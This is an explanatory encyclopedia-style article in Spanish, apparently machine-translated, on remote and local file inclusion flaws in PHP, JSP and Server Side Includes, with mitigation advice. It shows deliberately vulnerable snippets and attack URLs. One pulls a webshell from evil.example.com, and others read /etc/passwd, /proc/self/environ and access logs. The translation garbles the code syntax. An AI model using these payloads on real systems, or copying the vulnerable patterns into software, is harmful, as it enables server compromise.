Una vulnerabilidad de inclusión de archivos es un tipo de vulnerabilidad web que afecta con mayor frecuencia a las aplicaciones web que dependen de un tiempo de ejecución de scripts . Este problema se produce cuando una aplicación crea una ruta a un código ejecutable utilizando una variable controlada por el atacante de forma que le permite controlar qué archivo se ejecuta en el tiempo de ejecución. Una vulnerabilidad de inclusión de archivos es distinta de un ataque genérico de recorrido de directorio , ya que el recorrido de directorio es una forma de obtener acceso no autorizado al sistema de archivos , y una vulnerabilidad de inclusión de archivos subvierte la forma en que una aplicación carga el código para su ejecución. La explotación exitosa de una vulnerabilidad de inclusión de archivos dará como resultado la ejecución remota de código en el servidor web que ejecuta la aplicación web afectada. Un atacante puede utilizar la ejecución remota de código para crear un shell web en el servidor web, que puede utilizarse para la desfiguración de sitios web .
La inclusión remota de archivos ( RFI ) se produce cuando la aplicación web descarga y ejecuta un archivo remoto. Estos archivos remotos suelen obtenerse en forma de una URL HTTP o FTP como parámetro proporcionado por el usuario a la aplicación web.
La inclusión de archivos locales ( LFI ) es similar a una vulnerabilidad de inclusión de archivos remotos, excepto que en lugar de incluir archivos remotos, solo se pueden incluir archivos locales, es decir, archivos del servidor actual, para su ejecución. Este problema aún puede provocar la ejecución remota de código al incluir un archivo que contiene datos controlados por el atacante, como los registros de acceso del servidor web.
En PHP, la causa principal se debe al uso de una entrada de usuario no validada con una función del sistema de archivos que incluye un archivo para su ejecución. Las más notables son las declaraciones includeand require. La mayoría de las vulnerabilidades se pueden atribuir a que los programadores novatos no están familiarizados con todas las capacidades del lenguaje de programación PHP. El lenguaje PHP tiene una directiva que, si está habilitada, permite que las funciones del sistema de archivos utilicen una URL para recuperar datos de ubicaciones remotas. [1] La directiva está allow_url_fopenen las versiones de PHP <= 4.3.4 y allow_url_includedesde PHP 5.2.0. En PHP 5.x esta directiva está deshabilitada de forma predeterminada, en versiones anteriores estaba habilitada de forma predeterminada. [2] Para explotar la vulnerabilidad, un atacante alterará una variable que se pasa a una de estas funciones para hacer que incluya código malicioso de un recurso remoto. Para mitigar esta vulnerabilidad, todas las entradas del usuario deben validarse antes de ser utilizadas. [3] [4]
Considere este script PHP que incluye un archivo especificado por solicitud:
<?php if ( isset ( $_GET [ 'idioma' ])) { include ( $_GET [ 'idioma' ] . '.php' ); } ?>< método de formulario = "obtener" > < nombre de selección = "idioma" > < valor de opción = "inglés" > Inglés </ opción > < valor de opción = "francés" > Francés </ opción > ... </ select > < tipo de entrada = "enviar" > </ formulario >El desarrollador pretendía leer en english.phpo french.php, lo que modificará el comportamiento de la aplicación para mostrar el idioma que elija el usuario. Pero es posible inyectar otra ruta utilizando el languageparámetro.
/vulnerable.php?language=http://evil.example.com/webshell.txt?- inyecta un archivo alojado remotamente que contiene un código malicioso (inclusión de archivo remoto)/vulnerable.php?language=C:\\ftp\\upload\\exploit- Ejecuta código desde un archivo ya cargado llamado exploit.php(vulnerabilidad de inclusión de archivo local)/vulnerable.php?language=C:\\notes.txt%00- ejemplo que utiliza el carácter meta NULL para eliminar el sufijo, lo que permite el acceso a archivos distintos de . Este uso de inyección de bytes nulos se corrigió en PHP 5.3 y ya no se puede utilizar para ataques LFI/RFI. [5].php.php/vulnerable.php?language=../../../../../etc/passwd%00- permite a un atacante leer el contenido del /etc/passwdarchivo en un sistema tipo Unix a través de un ataque de recorrido de directorio ./vulnerable.php?language=../../../../../proc/self/environ%00 - permite a un atacante leer el contenido del /proc/self/environarchivo en un sistema tipo Unix mediante un ataque de recorrido de directorio . Un atacante puede modificar un encabezado HTTP (como User-Agent) en este ataque para que sea código PHP y así aprovechar la ejecución remota de código .La mejor solución en este caso es utilizar una lista blanca de parámetros de idioma aceptados. Si no se puede utilizar un método sólido de validación de entrada, como una lista blanca, entonces confíe en el filtrado de entrada o la validación de la ruta ingresada para asegurarse de que no contenga caracteres y patrones de caracteres no deseados. Sin embargo, esto puede requerir anticipar todas las posibles combinaciones de caracteres problemáticas. Una solución más segura es utilizar una declaración Switch/Case predefinida para determinar qué archivo incluir en lugar de utilizar una URL o un parámetro de formulario para generar dinámicamente la ruta.
JavaServer Pages (JSP) es un lenguaje de script que puede incluir archivos para su ejecución en tiempo de ejecución.
El siguiente script es vulnerable a una vulnerabilidad de inclusión de archivos:
<% String p = request . getParameter ( "p" ); @include archivo = "<%=" incluye / " + p +" . jsp " %> " %>/vulnerable.jsp?p=../../../../var/log/access.log%00- A diferencia de PHP, JSP todavía se ve afectado por la inyección de bytes nulos, y este parámetro ejecutará los comandos JSP que se encuentren en el registro de acceso del servidor web.Un Server Side Include es muy poco común y no suele estar habilitado en un servidor web predeterminado. Un Server Side Include se puede utilizar para obtener ejecución remota de código en un servidor web vulnerable. [6]
El siguiente código es vulnerable a una vulnerabilidad de inclusión de archivos remotos:
<!DOCTYPE html> < html > < head > < title > Archivo de prueba </ title > </ head > < body > <!--#include file="USER_LANGUAGE"--> </ body > </ html >El código anterior no es una vulnerabilidad XSS , sino que incluye un nuevo archivo que será ejecutado por el servidor.